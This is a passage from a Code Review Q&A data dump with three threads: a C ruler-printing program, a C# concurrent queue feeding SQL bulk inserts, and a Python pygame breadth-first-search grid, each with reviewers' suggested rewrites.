"Id": "513963",
"Score": "0",
"body": "I personally disagree with implicit-return-zero. It's one of those quirks of C that doesn't greatly improve terseness or usability, and hinders uniformity of syntax."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T07:49:42.020",
"Id": "260328",
"ParentId": "260325",
"Score": "1"
}
},
{
"body": "<p>Instead of a series of <code>for</code> loops for each mark, you could have a single string with as many marks as you need for the longest mark, and use <code>fwrite</code> or some other primitive function to write the specified number of bytes.</p>\n<p>And then encapsulate a function to draw a mark of the desired length.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T14:31:50.860",
"Id": "260340",
"ParentId": "260325",
"Score": "0"
}
},
{
"body": "<p><strong>First up: Single Responsibility Principle (SRP)</strong></p>\n<p>You've basically got all your code in one big long main function. That's not outright terrible for code like this, but... it's a bad habit to get into. If you've never heard of SRP before, spend a good few hours googling it, and read 'Clean Code' by Robert "Uncle Bob" Martin - it's one of the best ways to improve as a programmer.</p>\n<p><strong>Second: variable names.</strong></p>\n<p>About the only place you should ever use a one-letter variable name is in a Lambda Expression or a 1-2 line loop. You should never use one for a loop that has scope over dozens of lines of code.</p>\n<p>Plus, good variable names help document what your code is doing. Most of the time you'll spend in code isn't <em>writing</em> the code, but <em>maintaining</em> the code. The code should be readable, not merely decipherable.</p>\n<p><strong>Next up: Indentation.</strong></p>\n<p>Partly just OCD, but partly because troubleshooting/reading code with incorrect indentation is dangerous. You've got an overarching loop for the inch counter, but your inner contents aren't indented to signal that.</p>\n<p><strong>Finally: Don't Repeat Yourself (the 'DRY' principle.)</strong></p>\n<p>Take a skim over your code - how similar does it look throughout, how many lines of code look like duplication? That's a good way to get a sense of whether you're violating DRY.</p>\n<p>Repeating yourself sucks. Not because it's hard to Copy-Paste (it's not!) but because... it's very easy to bug-fix or augment one section... but miss another that does the same thing.</p>\n<p><strong>Anyway, here's what I'd do for something like this</strong> (caveat: not at a C compiler at the moment, so this code might not be 100% correct)</p>\n<pre><code>int main()\n{\n int baselineDashCount = GetNumberOfInchesToPrint();\n char[200] baselineDashes;\n GetBaselineDashesToPrint(baselineDashes, sizeof(baselineDashes)-1);\n PrintInchDividerLine(0, baselineDashes);\n for (int inchNum = 1; inchNum <= numberOfInchesToPrint; inchNum++)\n {\n PrintAdditionalInch(inchNum, baselineDashes);\n }\n}\nint GetNumberOfInchesToPrint()\n{\n int retVal;\n printf( "Enter number of inches \\n" );\n scanf("%d", &retVal);\n // todo: do some validation of the input here\n return retVal;\n}\nvoid GetBaselineDashesToPrint(char * buffer, int maxSize)\n{\n int numOfDashes;\n printf( "Enter number of inches \\n" );\n scanf( "%d", &retVal );\n // todo : do some validation on the input here, especially numOfDashes <= maxSize\n if (numOfDashes > maxSize) numOfDashes = maxSize; // or we can be lazy like this\n if (numOfDashes < 0) numOfDashes = 0;\n for (int charPos = 0; charPos < numOfDashes; charPos++)\n {\n buffer[charPos] = '-';\n }\n buffer[numOfDashes] = 0; // null terminate our string.\n}\n \nvoid PrintInchDividerLine(int inchNum, char * baselineDashes)\n{\n printf("%s--- %d\\n", baselineDashes, inchNum);\n}\nvoid PrintAdditionalInch(int inchNum, char * baselineDashes);\n{\n printf("%s\\n", baselineDashes);\n printf("%s-\\n", baselineDashes);\n printf("%s\\n", baselineDashes);\n printf("%s--\\n", baselineDashes);\n printf("%s\\n", baselineDashes);\n printf("%s-\\n", baselineDashes);\n printf("%s\\n", baselineDashes);\n PrintInchDividerLine(inchNum, baselineDashes);\n}\n</code></pre>\n<p>The code here has been streamlined greatly. If you don't like the additional complexity of the 'baselineDashes' bit which skips having to do for() loops for every time you want to print dashes (geez, I'd forgotten how much I hate string handling in C), you could always modify that part to something like:</p>\n<pre><code>void PrintInchDividerLine(int inchNum, int baselineDashCount)\n{\n DashPrinter(baselineDashCount + 3, false);\n printf("%d\\n", inchNum);\n}\nvoid PrintAdditionalInch(int inchNum, int baselineDashCount)\n{\n DashPrinter(baselineDashCount, true);\n DashPrinter(baselineDashCount+1, true);\n DashPrinter(baselineDashCount, true);\n DashPrinter(baselineDashCount+2, true);\n DashPrinter(baselineDashCount, true);\n DashPrinter(baselineDashCount+1, true);\n DashPrinter(baselineDashCount, true);\n PrintInchDividerLine(inchNum, baselineDashCount);\n}\nvoid DashPrinter(int dashCount, bool sendNewline)\n{\n for (int i = 0; i < dashCount; i++) { printf("-"); }\n if (sendNewline) printf("\\n");\n}\n</code></pre>\n<p><strong>Big Takeaways from the code:</strong></p>\n<p>Look at how short each function is. Look at how the function name documents what it's doing. Look at how, if you needed to change how the program operated, that it makes modification very simple (you generally just need to tweak one small function, not manipulate a long overarching function.)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-06T04:57:50.940",
"Id": "514045",
"Score": "0",
"body": "Thank you very much, this is exactly what i needed to know."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T04:58:54.107",
"Id": "260357",
"ParentId": "260325",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "260357",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T04:50:16.163",
"Id": "260325",
"Score": "1",
"Tags": [
"c"
],
"Title": "C program to print a vertical english ruler whose length is given by the user"
}
|
260325
|
<p>I have some code that populate <code>EventfulConcurrentQueue</code> which is <code>ConcurrentQueue</code>. So I need to save all data from <code>EventfulConcurrentQueue</code> to a database.</p>
<p>I think to use sort of multithreading model in order to dequeue items.
So <code>EventfulConcurrentQueue</code> should be depopulated from different threads that grab the part of items of <code>EventfulConcurrentQueue</code> and that items will insert to a database.</p>
<p>So far I have following code.</p>
<h3>Usage of <code>EventfulConcurrentQueue</code></h3>
<pre><code>public partial class FormMain: Form {
private EventfulConcurrentQueue < PacketItem > PacketQueue {
get;
set;
} = new EventfulConcurrentQueue < PacketItem > ();
private void FormMain_Load(object sender, EventArgs e) {
StartPersistingTask();
}
private async Task StartPersistingTask() {
var chunkOfPacketsToInsert = 100;
try {
while (true) {
if (PacketQueue.Count > chunkOfPacketsToInsert) {
int counter = 0;
var chunkToBulkInsert = DataHelper.CreateBulkCopyDataTable();
while (counter <= chunkOfPacketsToInsert) {
PacketItem packetItem = null;
PacketQueue.TryDequeue(out packetItem);
if (packetItem != null) {
chunkToBulkInsert.Rows.Add(Guid.NewGuid(), packetItem.AtTime, packetItem.GPSTrackerID, packetItem.PacketBytes);
counter++;
} else {
break;
}
};
//create object of SqlBulkCopy which help to insert
using
var bulkCopy = new SqlBulkCopy(ConfigurationManager.ConnectionStrings["MyDB"].ConnectionString, SqlBulkCopyOptions.Default);
bulkCopy.DestinationTableName = "MyTable";
try {
bulkCopy.WriteToServer(chunkToBulkInsert);
} catch (Exception ex) {
Log(ex, LogErrorEnums.Fatal);
} finally {
Log(LogErrorEnums.Info, $ "Items: {counter}");
}
} else {
await Task.Delay(100);
}
}
} catch (Exception ex) {
Log(ex, LogErrorEnums.Error);
}
}
}
</code></pre>
<h3>Definition of <code>EventfulConcurrentQueue</code></h3>
<pre><code>public sealed class EventfulConcurrentQueue < T > {
private readonly ConcurrentQueue < T > _queue;
public EventfulConcurrentQueue() {
_queue = new ConcurrentQueue < T > ();
}
public int Count {
get {
return _queue.Count;
}
}
public bool IsEmpty {
get {
return _queue.IsEmpty;
}
}
public void Enqueue(T item) {
_queue.Enqueue(item);
OnItemEnqueued();
}
public bool TryDequeue(out T result) {
var success = _queue.TryDequeue(out result);
if (success) {
OnItemDequeued(result);
}
return success;
}
public event EventHandler ItemEnqueued;
public event EventHandler < ItemDequeuedEventArgs < T >> ItemDequeued;
void OnItemEnqueued() {
ItemEnqueued?.Invoke(this, EventArgs.Empty);
}
void OnItemDequeued(T item) {
ItemDequeued?.Invoke(this, new ItemDequeuedEventArgs < T > {
Item = item
});
}
}
public sealed class ItemDequeuedEventArgs < T >: EventArgs {
public T Item {
get;
set;
}
}
public sealed class PacketItem {
public int GPSTrackerID {
get;
set;
}
public DateTime AtTime {
get;
set;
}
public byte[] PacketBytes {
get;
set;
}
public int GPSTrackerTypeID {
get;
set;
}
/// <summary>
/// Parsed by device's protocol packet
/// </summary>
public object ParsedPacket {
get;
set;
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T08:00:43.000",
"Id": "513868",
"Score": "1",
"body": "Could you please format your code?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T08:29:06.370",
"Id": "513875",
"Score": "1",
"body": "BulkCopy shines when you want to insert a massive amount of records into the database. I think 100 items is too small for BulkCopy. For 100 items a stored procedure with TVP might be a better fit in my opinion."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T08:36:26.563",
"Id": "513878",
"Score": "0",
"body": "@PeterCsala hey! thanks for review! yeah, I know it. It's just for testing only. In fact code should support 10000 records per seconds to process and insert data."
}
] |
[
{
"body": "<p>I think the <code>EventfulConcurrentQueue</code> was not designed for this use case.</p>\n<p>From the consumer perspective:</p>\n<ul>\n<li>Things that are not in use\n<ul>\n<li><code>IsEmpty</code></li>\n<li><code>Enqueue</code></li>\n<li><code>ItemEnqueued</code></li>\n<li><code>ItemDequeued</code></li>\n</ul>\n</li>\n<li>Things that are missing\n<ul>\n<li><code>DequeueAtMostNItems</code></li>\n<li><code>WaitUntilThereAreEnoughItems</code></li>\n</ul>\n</li>\n</ul>\n<p>After I removed the not used things and added the missing ones the class would look like this:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>public sealed class EventfulConcurrentQueue<T>\n{\n private readonly ConcurrentQueue<T> _queue = new ConcurrentQueue<T>();\n\n public List<T> DequeueAtMostNItems(int n)\n {\n List<T> result = new();\n T current;\n do\n {\n if(_queue.TryDequeue(out current))\n result.Add(current);\n } while (current != null && result.Count <= n);\n\n return result;\n }\n\n public async Task WaitUntilThereAreEnoughItems(int numberOfItems)\n {\n while (_queue.Count < numberOfItems)\n {\n await Task.Delay(100);\n }\n return;\n }\n}\n</code></pre>\n<p>With these methods you are embracing encapsulation. The operation and data are next to each other. And with this approach you don't have to expose anything internal, so the information hiding aspect is covered as well.</p>\n<p>If you stick with this implementation then I would suggest a renaming, because the <code>ConcurrentQueue</code> now becomes an implementation detail.</p>\n<p>The usage could be simplified like this:</p>\n<pre class=\"lang-cs prettyprint-override\"><code>while (true)\n{\n await PacketQueue.WaitUntilThereAreEnoughItems(chunkSize);\n \n var chunk = PacketQueue.DequeueAtMostNItems(chunkSize);\n DataTable toBeInserted = DataHelper.CreateBulkCopyDataTable();\n chunk.ForEach(row => toBeInserted.Rows.Add(Guid.NewGuid(), row.AtTime, row.GPSTrackerID, row.PacketBytes));\n \n using var bulkCopy = ...\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T02:12:03.937",
"Id": "513960",
"Score": "1",
"body": "Hey bro! It seems like an absolutly cleaner and balanced approach. Thanks a lot! Cheers!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T09:54:41.537",
"Id": "260332",
"ParentId": "260326",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "260332",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T07:38:27.330",
"Id": "260326",
"Score": "2",
"Tags": [
"c#",
"multithreading",
"queue"
],
"Title": "The multithreading model to clean ConcurrentQueue in C#"
}
|
260326
|
<p>I am learning Python and I wrote a functional breadth-first search algorithm which I wanted to be as general as possible. I wrote some code to draw a grid and visually show the path found.</p>
<p>My code will tell you about my coding abilities so please bear that in mind when providing any feedback; either way I will hear what you have to say.</p>
<p>Thanks :)</p>
<p>Instructions:</p>
<ul>
<li>arrow keys = draw nodes in a 2d map</li>
<li>s key = place start marker (where the breadth first search begins)</li>
<li>e key = place end marker</li>
<li>space key = stop drawing nodes ('lifts' the pen from the grid so you can move it about)</li>
<li>d key = delete a node</li>
<li>enter key = perform search and returns path from start to end</li>
<li>r key = reset after a search</li>
</ul>
<pre><code>import pygame
from pygame.locals import *
from collections import deque
from collections import namedtuple
###### VARIABLES ######
screen_width = 10
screen_height = 10
trail_offset = 6
block_size = 30
adjacency_link_thickness = 6
route_thickness = 18
################## BODY ###################
build_matrix = lambda x,y : [[[]] * x for i in range(y)]
pygame.init()
#define colours for pygame
black = (0, 0, 0)
white = (255, 255, 255)
pink = (255,0,255)
blue = (0,255,255)
yellow = (255,255,0)
#define font for start and end markers
sysfont = pygame.font.get_default_font()
in_square_font = pygame.font.Font(sysfont, 14)
#class for easier reading of tuple cooordinates
class coordinate:
def __init__(self, x, y):
self.x = x
self.y = y
#init
square = coordinate(0,0)
start = coordinate(None,None)
end = coordinate(None,None)
prev = coordinate(square.x,square.y)
drawing = True #used to define whether nodes are drawn, or the cursor can be moved without drawing
array = build_matrix(screen_height,screen_width)
array[square.x][square.y] = [(square.x,square.y)]
wndsize = (block_size * screen_width, block_size * screen_height)
rectdim = (block_size, block_size)
solution = []
def breadthFirstSearch(graph: list, start_location: tuple, goal: tuple) -> list:
"""
This function recieves a 2d matrix of x/y coordinates where each location contains
a list of tuples which contain adjacency information. The function will return
a list of tuples of the route from start_location to goal or an empty list if
no route is found. start_location and goal must be tuples in the format (x,y)
"""
class coordinate: #used for easier reading of tuple coordinates
def __init__(self, x, y):
self.x = x
self.y = y
build_matrix = lambda x,y : [[None] * x for i in range(y)]
visit_matrix = build_matrix(len(graph[0]),len(graph))
start = coordinate(start_location[0], start_location[1])
end = coordinate(goal[0], goal[1])
if type(start.x) != int or type(start.y) != int or type(end.x) != int or type(end.y) !=int:
print("Start or End not set")
return []
queue = deque([end]) #use queue.popleft() for FIFO queue
queue2 = []
pathfind_counter = 0
visit_matrix[end.x][end.y] = pathfind_counter
while len(queue) > 0:
pathfind_counter += 1
for i in iter(queue):
if i.x == start.x and i.y == start.y: #if location = the start, the search is complete
counter = 0
#builds the path back from end to start into a list of tuples
path = [(start.x, start.y)]
for steps in range(visit_matrix[start.x][start.y],0,-1):
for adjacency in graph[path[counter][0]][path[counter][1]]:
neighbour = coordinate(adjacency[0],adjacency[1])
if visit_matrix[neighbour.x][neighbour.y] == steps-1:
counter += 1
path.append(adjacency)
break
return path
for adj in graph[i.x][i.y]:
neighbour = coordinate(adj[0],adj[1])
if visit_matrix[neighbour.x][neighbour.y] == None: #if neighbour has not been visited, mark it with number, and append its locationn to the queue
visit_matrix[neighbour.x][neighbour.y] = pathfind_counter
queue2.append(coordinate(neighbour.x,neighbour.y))
queue = list(queue2)
queue2.clear()
return [] #return empty list, no path found
def display():
display = pygame.display.set_mode(wndsize)
display.fill(white)
#print route lines
if len(solution) > 0:
for step in range(len(solution)-1):
here = solution[step]
there = solution[step+1]
line = pygame.draw.line(display, yellow, ((here[0]*block_size)+(block_size/2),(here[1]*block_size)+(block_size/2)), ((there[0] * block_size)+(block_size/2), (there[1] * block_size)+(block_size/2)), route_thickness)
else:
rectpos = (square.x*block_size, square.y*block_size)
if drawing == True:
rect = pygame.draw.rect(display, black, ((rectpos), (rectdim)))
else:
rect = pygame.draw.rect(display, blue, ((rectpos), (rectdim)))
#print squares and adjacencies
for col in range(screen_height):
for row in range(screen_width):
if (row,col) in array[row][col]:
rect = pygame.draw.rect(display, pink, pygame.Rect((row*block_size)+trail_offset,(col*block_size)+trail_offset, block_size-(trail_offset*2), block_size-(trail_offset*2)))
for adjacency in array[row][col]:
neighbour = coordinate(adjacency[0],adjacency[1])
tup = (row,col)
if tup not in array[neighbour.x][neighbour.y]:
array[neighbour.x][neighbour.y].append(tup)
line = pygame.draw.line(display, pink, ((row*block_size)+(block_size/2),(col*block_size)+(block_size/2)), ((adjacency[0] * block_size)+(block_size/2), (adjacency[1] * block_size)+(block_size/2)), adjacency_link_thickness)
#draws start icon
if start.x != None and start.y != None:
text = in_square_font.render("s", True, black)
display.blit(text, ((start.x*block_size)+block_size*0.4, (start.y*block_size)+block_size*0.25))
#draws end icon
if end.x != None and end.y != None:
text = in_square_font.render("e", True, black)
display.blit(text, ((end.x*block_size)+block_size*0.4, (end.y*block_size)+block_size*0.25))
pygame.display.update()
#main loop
while True:
for event in pygame.event.get(): #monitor key presses
if event.type == pygame.QUIT:
pygame.quit()
quit()
if event.type == pygame.KEYDOWN:
prev.x = square.x
prev.y = square.y
if event.key == pygame.K_RETURN: # start pathfind from S to E
drawing = False
solution = breadthFirstSearch(array,(start.x,start.y),(end.x,end.y))
print(solution)
if event.key == pygame.K_s: #place a start marker
start.x = square.x
start.y = square.y
if event.key == pygame.K_e: #place an end marker, the goal
end.x = square.x
end.y = square.y
if event.key == pygame.K_r: #reset after route find
start.x = None
start.y = None
end.x = None
end.y = None
solution = []
array = build_matrix(screen_height,screen_width)
if event.key == pygame.K_d: # delete a node
drawing = False
for tup in reversed(array[square.x][square.y]): #iterate through all neighbour adjacencies
neighbour = coordinate(tup[0],tup[1])
array[neighbour.x][neighbour.y].remove((square.x,square.y)) #from the deleted square from the neighbour
array[square.x][square.y].clear() #remove all neighbour information from deleted square
#remove start marker if start tile was deleted
if square.x == start.x and square.y == start.y:
start.x = None
start.y = None
#remove end marker if end tile was deleted
if square.x == end.x and square.y == end.y:
end.x = None
end.y = None
if event.key == pygame.K_SPACE: #Raise 'pen' off the grid
if drawing == True:
print("pen up")
drawing = False
else:
print("pen down")
drawing = True
#defines movement
if event.key == pygame.K_RIGHT and square.x+1 < screen_width:
square.x += 1
if event.key == pygame.K_LEFT and square.x-1 >= 0:
square.x -= 1
if event.key == pygame.K_UP and square.y-1 >= 0:
square.y -= 1
if event.key == pygame.K_DOWN and square.y+1 < screen_height:
square.y += 1
if drawing == True:
if (square.x,square.y) not in array[square.x][square.y]: #if current location does not contain its own coordinates (suggesting it has never been visited) add them
array[square.x][square.y] = [(square.x,square.y)]
if (square.x,square.y) not in array[prev.x][prev.y]: #add an adjacency from previous location to this location
array[prev.x][prev.y].append((square.x,square.y))
if (prev.x, prev.y) not in array[square.x][square.y]: #dd an adjacency from this location to previous location
array[square.x][square.y].append((prev.x,prev.y))
display()
</code></pre>
|
[] |
[
{
"body": "<p>The app is pleasantly functional! I was not able to find any bugs. Improvements are a mix of aesthetic, organizational and best-practices.</p>\n<p>You seem not to use these at all:</p>\n<pre><code>from pygame.locals import *\nfrom collections import namedtuple\n</code></pre>\n<p>so delete them.</p>\n<p>All of the global constants:</p>\n<pre><code>screen_width = 10\nscreen_height = 10\ntrail_offset = 6\nblock_size = 30\nadjacency_link_thickness = 6\nroute_thickness = 18\n\nblack = (0, 0, 0)\nwhite = (255, 255, 255)\npink = (255,0,255)\nblue = (0,255,255)\nyellow = (255,255,0)\n</code></pre>\n<p>should be CAPITALIZED.</p>\n<p><code>build_matrix</code> has a long list of issues, including:</p>\n<ul>\n<li>It's not useful to show this as a lambda; just show this as a regular function</li>\n<li>you declare it once, then shadow it on a second declaration - that does a completely different operation. Do not do this.</li>\n<li><code>i</code> is unused and so should be <code>_</code></li>\n</ul>\n<p>Classes should be title-cased, i.e. <code>Coordinate</code>. You've also shadowed this one for some reason; delete your second, local declaration.</p>\n<p>Rather than <code>type(start.x) != int</code> you should be using <code>not isinstance(start.x, int)</code>. However, in this specific case, more appropriate is to write <code>start.x is not None</code>. Even better would be to stop reassigning individual x and y members of your coordinates, and instead set <code>start</code> and <code>end</code> to <code>None</code> instead of their members.</p>\n<p>Prefer <code>is None</code> and <code>is not None</code> instead of <code>== None</code> and <code>!= None</code>.</p>\n<p>You do even more shadowing with <code>display</code>/<code>display</code>; perhaps name the variable to <code>window</code>.</p>\n<p>You can delete all of your <code>== True</code>.</p>\n<p>When running through your series of <code>if</code> on the event key, convert all but the first to <code>elif</code>.</p>\n<p>Your start and end icon drawing code needs to be factored out into a routine to reduce repetition.</p>\n<p>Your main loop needs to be broken up into multiple functions and all of its code removed from the global namespace. The same applies to <code>pygame.init()</code>.</p>\n<p>Given the choice between row-major and column-major order, you've chosen the one that makes life more difficult. In the majority of multi-index situations across multiple programming languages, having <code>y</code> as your first (outer, slow-varying) index and <code>x</code> as your second (inner, fast-varying) index makes things more sensible, particularly if you want to print the contents of your matrices to the console. Otherwise, as with your original code, you'll find that things look rotated comparing the screen to the console/debugger.</p>\n<p>You have no animation, so <code>event.get</code> is not a good choice - you'll spin forever and eat up your CPU pointlessly. Instead, <code>event.wait</code>.</p>\n<p>You should try to use your coordinate class in more situations than you have now.</p>\n<p>Make an attempt at proper exception handling, catching near the top level and resetting the grid if a known error occurs.</p>\n<h2>Example</h2>\n<pre><code>from contextlib import contextmanager\nfrom typing import List, Tuple, Optional, Set, Iterable\n\nimport pygame\nfrom collections import deque\n\n\nSCREEN_WIDTH = 10\nSCREEN_HEIGHT = 10\nTRAIL_OFFSET = 6\nBLOCK_SIZE = 30\nADJACENCY_LINK_THICKNESS = 6\nROUTE_THICKNESS = 18\n\nWINDOW_SIZE = (BLOCK_SIZE * SCREEN_WIDTH,\n BLOCK_SIZE * SCREEN_HEIGHT)\nRECT_DIM = (BLOCK_SIZE, BLOCK_SIZE)\n\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nPINK = (255, 0, 255)\nBLUE = (0, 255, 255)\nYELLOW = (255, 255, 0)\n\n\n# class for easier reading of tuple cooordinates\nclass Coordinate:\n def __init__(self, y: int, x: int):\n self.y = y\n self.x = x\n\n def __str__(self):\n return f'({self.x}, {self.y})'\n\n def __repr__(self):\n return str(self)\n\n def astuple(self) -> Tuple[int, int]:\n return self.y, self.x\n\n def __iter__(self) -> Iterable[int]:\n yield self.y\n yield self.x\n\n def __eq__(self, other: 'Coordinate') -> bool:\n return other is not None and self.y == other.y and self.x == other.x\n\n def copy(self) -> 'Coordinate':\n return Coordinate(self.y, self.x)\n\n\nVisitMatrix = List[List[Optional[int]]]\nAdjMatrix = List[List[Set[Tuple[int, int]]]]\n\n\ndef build_adj_matrix(y: int, x: int) -> AdjMatrix:\n return [\n [set() for _ in range(x)]\n for _ in range(y)\n ]\n\n\ndef build_visit_matrix(y: int, x: int) -> VisitMatrix:\n return [[None] * x for _ in range(y)]\n\n\nclass GridError(Exception):\n pass\n\n\nclass Grid:\n def __init__(self):\n self.drawing = True # used to define whether nodes are drawn, or the cursor can be moved without drawing\n self.square = Coordinate(0, 0)\n self.start: Optional[Coordinate] = None\n self.end: Optional[Coordinate] = None\n\n self.array = build_adj_matrix(SCREEN_HEIGHT, SCREEN_WIDTH)\n self.array[self.square.y][self.square.x] = {self.square.astuple()}\n self.solution: Optional[List[Coordinate]] = None\n\n def pathfind(self):\n self.drawing = False\n self.solution = breadth_first_search(self.array, self.start, self.end)\n\n def place_start(self):\n self.start = self.square.copy()\n\n def place_end(self):\n self.end = self.square.copy()\n\n def delete_node(self):\n self.drawing = False\n sy, sx = self.square\n here = self.array[sy][sx]\n\n for tup in here: # iterate through all neighbour adjacencies\n ny, nx = tup\n there = self.array[ny][nx]\n if here is not there:\n there.remove(self.square.astuple()) # from the deleted square from the neighbour\n\n here.clear() # remove all neighbour information from deleted square\n\n # remove start marker if start tile was deleted\n if self.square == self.start:\n self.start = None\n # remove end marker if end tile was deleted\n if self.square == self.end:\n self.end = None\n\n def switch_pen(self):\n self.drawing = not self.drawing\n\n def left(self):\n self.square.x = max(self.square.x - 1, 0)\n\n def right(self):\n self.square.x = min(self.square.x + 1, SCREEN_WIDTH - 1)\n\n def up(self):\n self.square.y = max(self.square.y - 1, 0)\n\n def down(self):\n self.square.y = min(self.square.y + 1, SCREEN_HEIGHT - 1)\n\n @contextmanager\n def move(self):\n prev = self.square.copy()\n yield\n\n if self.drawing:\n # add an adjacency from this location to previous location\n sy, sx = self.square\n self.array[sy][sx] |= {self.square.astuple(), prev.astuple()}\n\n # add an adjacency from previous location to this location\n py, px = prev\n self.array[py][px] |= {self.square.astuple()}\n\n\ndef breadth_first_search(graph: AdjMatrix, start: Coordinate, end: Coordinate) -> List[Coordinate]:\n """\n This function recieves a 2d matrix of x/y coordinates where each location contains\n a list of tuples which contain adjacency information. The function will return\n a list of tuples of the route from start_location to goal or an empty list if\n no route is found. start_location and goal must be tuples in the format (x,y)\n """\n\n if start is None:\n raise GridError('Start not set')\n if end is None:\n raise GridError('End not set')\n\n queue = deque([end]) # use queue.popleft() for FIFO queue\n queue2 = []\n pathfind_counter = 0\n visit_matrix = build_visit_matrix(len(graph), len(graph[0]))\n visit_matrix[end.y][end.x] = pathfind_counter\n\n while len(queue) > 0:\n pathfind_counter += 1\n for i in queue:\n if i == start: # if location = the start, the search is complete\n counter = 0\n # builds the path back from end to start into a list of tuples\n path = [start]\n for steps in range(visit_matrix[start.y][start.x], 0, -1):\n py, px = path[counter]\n for adjacency in graph[py][px]:\n ny, nx = adjacency\n if visit_matrix[ny][nx] == steps - 1:\n counter += 1\n path.append(Coordinate(*adjacency))\n break\n return path\n\n for ny, nx in graph[i.y][i.x]:\n # if neighbour has not been visited, mark it with number, and append its location to the queue\n if visit_matrix[ny][nx] is None:\n visit_matrix[ny][nx] = pathfind_counter\n queue2.append(Coordinate(ny, nx))\n\n queue = list(queue2)\n queue2.clear()\n\n raise GridError('No path found')\n\n\nclass Display:\n def __init__(self):\n sysfont = pygame.font.get_default_font()\n self.in_square_font = pygame.font.Font(sysfont, 14)\n self.display = pygame.display.set_mode(WINDOW_SIZE)\n\n def route_lines(self, grid: Grid):\n # print route lines\n if grid.solution:\n for step in range(len(grid.solution) - 1):\n here = grid.solution[step]\n there = grid.solution[step + 1]\n pygame.draw.line(\n self.display, YELLOW,\n (\n (here.x * BLOCK_SIZE) + (BLOCK_SIZE / 2),\n (here.y * BLOCK_SIZE) + (BLOCK_SIZE / 2),\n ),\n (\n (there.x * BLOCK_SIZE) + (BLOCK_SIZE / 2),\n (there.y * BLOCK_SIZE) + (BLOCK_SIZE / 2),\n ),\n ROUTE_THICKNESS,\n )\n else:\n if grid.drawing:\n colour = BLACK\n else:\n colour = BLUE\n rectpos = grid.square.x * BLOCK_SIZE, grid.square.y * BLOCK_SIZE\n pygame.draw.rect(self.display, colour, ((rectpos), (RECT_DIM)))\n\n def draw_squares(self, grid: Grid):\n # print squares and adjacencies\n for row in range(SCREEN_HEIGHT):\n for col in range(SCREEN_WIDTH):\n if (row, col) in grid.array[row][col]:\n pygame.draw.rect(\n self.display, PINK,\n pygame.Rect(\n (col * BLOCK_SIZE) + TRAIL_OFFSET,\n (row * BLOCK_SIZE) + TRAIL_OFFSET,\n BLOCK_SIZE - (TRAIL_OFFSET * 2),\n BLOCK_SIZE - (TRAIL_OFFSET * 2),\n )\n )\n\n for neighbour in grid.array[row][col]:\n ny, nx = neighbour\n\n pygame.draw.line(\n self.display, PINK,\n (\n (col * BLOCK_SIZE) + (BLOCK_SIZE / 2),\n (row * BLOCK_SIZE) + (BLOCK_SIZE / 2),\n ),\n (\n (nx * BLOCK_SIZE) + (BLOCK_SIZE / 2),\n (ny * BLOCK_SIZE) + (BLOCK_SIZE / 2),\n ),\n ADJACENCY_LINK_THICKNESS,\n )\n\n def draw_icons(self, letter: str, loc: Optional[Coordinate]):\n # draws start icon\n if loc is not None:\n text = self.in_square_font.render(letter, True, BLACK)\n self.display.blit(text, ((loc.x * BLOCK_SIZE) + BLOCK_SIZE * 0.4,\n (loc.y * BLOCK_SIZE) + BLOCK_SIZE * 0.25))\n\n def show(self, grid: Grid):\n self.display.fill(WHITE)\n self.route_lines(grid)\n self.draw_squares(grid)\n self.draw_icons('s', grid.start)\n self.draw_icons('e', grid.end)\n pygame.display.update()\n\n\ndef session(display: Display):\n grid = Grid()\n display.show(grid)\n\n keys = {\n pygame.K_SPACE: grid.switch_pen,\n pygame.K_LEFT: grid.left,\n pygame.K_RIGHT: grid.right,\n pygame.K_UP: grid.up,\n pygame.K_DOWN: grid.down,\n pygame.K_s: grid.place_start,\n pygame.K_e: grid.place_end,\n pygame.K_d: grid.delete_node,\n pygame.K_RETURN: grid.pathfind,\n }\n\n while True:\n event = pygame.event.wait()\n\n if event.type == pygame.QUIT:\n exit()\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_r:\n return # reset\n\n handler = keys.get(event.key)\n if handler:\n with grid.move():\n handler()\n\n display.show(grid)\n\n if event.type in {\n pygame.ACTIVEEVENT,\n pygame.VIDEOEXPOSE,\n pygame.VIDEORESIZE,\n }:\n display.show(grid)\n\n\ndef main():\n pygame.init()\n\n try:\n display = Display()\n\n while True:\n try:\n session(display)\n except GridError as e:\n print(str(e))\n finally:\n pygame.quit()\n\n\nif __name__ == '__main__':\n main()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-05T09:09:33.033",
"Id": "513984",
"Score": "1",
"body": "There is a lot for me to take in! I've never written code in that way before so I am currently wrapping my head around it\nThank you for your feedback; I'll incorporate those items into future projects."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-09T09:09:43.713",
"Id": "514240",
"Score": "0",
"body": "Just wanted to say that I am still reviewing and wrapping my head around your rewrite. I am finding it hard to follow as it is less linear that the original so I have to keep jumping around to follow the code flow though I suppose that is something I have to get used to :)"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-05-04T22:50:23.113",
"Id": "260351",
"ParentId": "260329",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "260351",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
